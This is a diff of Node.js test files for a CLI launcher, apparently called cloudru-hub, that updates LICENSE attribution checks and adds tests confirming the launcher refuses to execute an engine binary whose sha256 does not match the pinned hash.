  assert.ok(license.includes('MIT License'), 'owner code is MIT');
30
28
  assert.ok(license.includes('Dmitry Zhechkov'), 'owner copyright line');
31
29
  assert.ok(!license.includes(PENDING_MARKER), 'the PENDING placeholder must be gone post-grant');
32
- assert.match(license, /GRANT RECORDED/, 'the grant record paragraph exists');
33
- assert.match(license, /Grant-Confirmation:\s*https?:\/\/\S+/, 'the Grant-Confirmation line carries a URL (dz guard licence-hold requires it)');
34
- assert.match(license, /owner-attested/, 'honesty: the approval is stated as owner-attested, not as a written artifact we do not hold');
30
+ assert.match(license, /Grant-Confirmation:\s*https?:\/\/\S+/, 'the provenance record link is present (dz guard licence-hold requires it)');
31
+ assert.match(license, /corrected attribution record/, 'the superseding attribution correction is linked');
35
32
  assert.ok(!/Hermes author(.|\n){0,120}hereby grants/i.test(license), 'no fabricated grant wording');
36
33
  assert.ok(!/hereby grants/i.test(license), 'no grant-deed language fabricated on anyone’s behalf');
37
34
  });
38
35
 
39
- test('LICENSE attribution chain (owner condition + ADR-001 AM-1): engine additions credited to their author, CLI foundation to the owner, zero engine bytes', () => {
40
- assert.ok(license.includes('Тимур'), 'the Hermes engine author is credited by name');
41
- assert.match(license, /ZERO bytes of the engine additions|ZERO bytes of them/, 'zero-engine-bytes statement present');
42
- assert.match(license, /nothing in this file grants any\s+third party rights to the engine additions/, 'no rights to engine additions are granted by this LICENSE');
36
+ test('LICENSE credits Timur for API validation', () => {
37
+ assert.ok(license.includes('Тимур'), 'the API tester is credited by name');
38
+ assert.match(license, /API testing/, 'the contribution is specified');
39
+ assert.doesNotMatch(license, /(?:Timur|Тимур).{0,100}(?:author|authored)/i, 'no unsupported source authorship claim');
40
+ assert.match(license, /ZERO bytes of the Go engine/, 'the launcher still contains no engine bytes');
43
41
  });
44
42
 
45
43
  test('the licenseHold trigger for the dz guard rule STAYS declared post-grant (satisfied hold passes with it in place)', () => {
@@ -1,17 +1,37 @@
1
1
  // Engine resolution tests — ADR-002: runtime resolution, sha256 pin, loud esbuild-style error.
2
- import { test } from 'node:test';
2
+ import { after, test } from 'node:test';
3
3
  import assert from 'node:assert/strict';
4
4
  import fs from 'node:fs';
5
5
  import os from 'node:os';
6
6
  import path from 'node:path';
7
7
  import crypto from 'node:crypto';
8
+ import { spawnSync } from 'node:child_process';
8
9
  import { createRequire } from 'node:module';
10
+ import { fileURLToPath } from 'node:url';
9
11
 
10
12
  const require = createRequire(import.meta.url);
11
13
  const { resolveEngine, sha256File, platformKey } = require('../src/resolve.js');
12
14
  const PKG = require('../package.json');
13
15
 
14
- const tmp = () => fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-'));
16
+ function resolveWithoutOptionalPlatform(env) {
17
+ const packages = PKG.cloudruHub.platformPackages;
18
+ const key = platformKey();
19
+ const original = packages[key];
20
+ delete packages[key];
21
+ try { return resolveEngine(env); }
22
+ finally { if (original !== undefined) packages[key] = original; }
23
+ }
24
+
25
+ // Every scratch dir is removed at the end (after() + process exit) unless DZ_KEEP_TMP=1 —
26
+ // MEASURED 2026-09-20: 18 cloudru-resolve-* dirs per full sweep (backlog 7cb6f9b7).
27
+ const created = [];
28
+ const removeCreated = () => {
29
+ if (process.env.DZ_KEEP_TMP === '1') return;
30
+ for (const d of created.splice(0)) fs.rmSync(d, { recursive: true, force: true });
31
+ };
32
+ after(removeCreated);
33
+ process.on('exit', removeCreated);
34
+ const tmp = () => { const d = fs.mkdtempSync(path.join(os.tmpdir(), 'cloudru-resolve-')); created.push(d); return d; };
15
35
 
16
36
  test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:false but resolves', () => {
17
37
  const dir = tmp();
@@ -24,6 +44,37 @@ test('env CLOUDRU_VM_BIN wins and is hashed; a non-pinned file reports verified:
24
44
  assert.equal(r.verified, false);
25
45
  });
26
46
 
47
+ test('mcp refuses a non-pinned engine before executing it', () => {
48
+ const dir = tmp();
49
+ const marker = path.join(dir, 'executed');
50
+ const fake = path.join(dir, 'cloudru-vm');
51
+ fs.writeFileSync(fake, `#!/bin/sh\ntouch "${marker}"\n`);
52
+ fs.chmodSync(fake, 0o755);
53
+ const result = spawnSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), '../bin/cloudru-hub.js'), 'mcp'], {
54
+ encoding: 'utf8', timeout: 5000,
55
+ env: { ...process.env, CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') },
56
+ });
57
+ assert.equal(result.status, 1);
58
+ assert.match(result.stderr, /does not match pinned .*refusing to launch/);
59
+ assert.equal(fs.existsSync(marker), false);
60
+ });
61
+
62
+ test('self-test stops on a non-pinned engine before version or MCP probe', () => {
63
+ const dir = tmp();
64
+ const marker = path.join(dir, 'executed');
65
+ const fake = path.join(dir, 'cloudru-vm');
66
+ fs.writeFileSync(fake, `#!/bin/sh\ntouch "${marker}"\n`);
67
+ fs.chmodSync(fake, 0o755);
68
+ const result = spawnSync(process.execPath, [path.join(path.dirname(fileURLToPath(import.meta.url)), '../bin/cloudru-hub.js'), 'self-test', '--json'], {
69
+ encoding: 'utf8', timeout: 5000,
70
+ env: { ...process.env, CLOUDRU_VM_BIN: fake, CLOUDRU_HUB_CONFIG: path.join(dir, 'none.json') },
71
+ });
72
+ assert.equal(result.status, 1);
73
+ const report = JSON.parse(result.stdout);
74
+ assert.deepEqual(report.steps.map((step) => [step.name, step.ok]), [['resolve', true], ['sha256', false]]);
75
+ assert.equal(fs.existsSync(marker), false);
76
+ });
77
+
27
78
  test('a file matching the pinned baseline hash reports verified:true', () => {
28
79
  // Only meaningful on linux-x64 (the single pinned platform, ADR-002 point 4).
29
80
  const key = platformKey();
@@ -49,19 +100,17 @@ test('config enginePath is used when env is unset', () => {
49
100
 
50
101
  test('nothing resolvable → loud error naming all three paths and the platform-package status', () => {
51
102
  const dir = tmp();
52
- const r = resolveEngine({ CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
103
+ const r = resolveWithoutOptionalPlatform({ CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
53
104
  assert.ok(r.error);
54
105
  assert.match(r.error, /CLOUDRU_VM_BIN/);
55
106
  assert.match(r.error, /enginePath/);
56
107
  assert.match(r.error, /never bundled/);
57
- // post-grant (ADR-001 AM-2) the missing platform package awaits its ADR-002 trusted-CI
58
- // build — it is no longer a licence hold, and the error must say so honestly.
59
- assert.match(r.error, /ADR-002 trusted-CI/);
108
+ assert.match(r.error, /optional dependencies/);
60
109
  });
61
110
 
62
111
  test('a dangling env path falls through to the error, not a crash', () => {
63
112
  const dir = tmp();
64
- const r = resolveEngine({ CLOUDRU_VM_BIN: path.join(dir, 'nope'), CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
113
+ const r = resolveWithoutOptionalPlatform({ CLOUDRU_VM_BIN: path.join(dir, 'nope'), CLOUDRU_HUB_CONFIG: path.join(dir, 'absent.json') });
65
114
  assert.ok(r.error);
66
115
  assert.match(r.error, /set, but not a file/);
67
116
  });
@@ -73,9 +122,9 @@ test('sha256File matches node crypto', () => {
73
122
  assert.equal(sha256File(f), crypto.createHash('sha256').update('abc').digest('hex'));
74
123
  });
75
124
 
76
- test('the pinned linux-x64 hash is the ADR-002 measured engine sha256', () => {
125
+ test('the pinned linux-x64 hash is the rebuilt private engine sha256', () => {
77
126
  assert.equal(
78
127
  PKG.cloudruHub.binaryHashes['linux-x64'],
79
- '59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124',
128
+ '4463b09323c9dfe0c32d618d335734a947e7fab0a75d07a7bea089b97a97c9b6',
80
129
  );
81
130
  });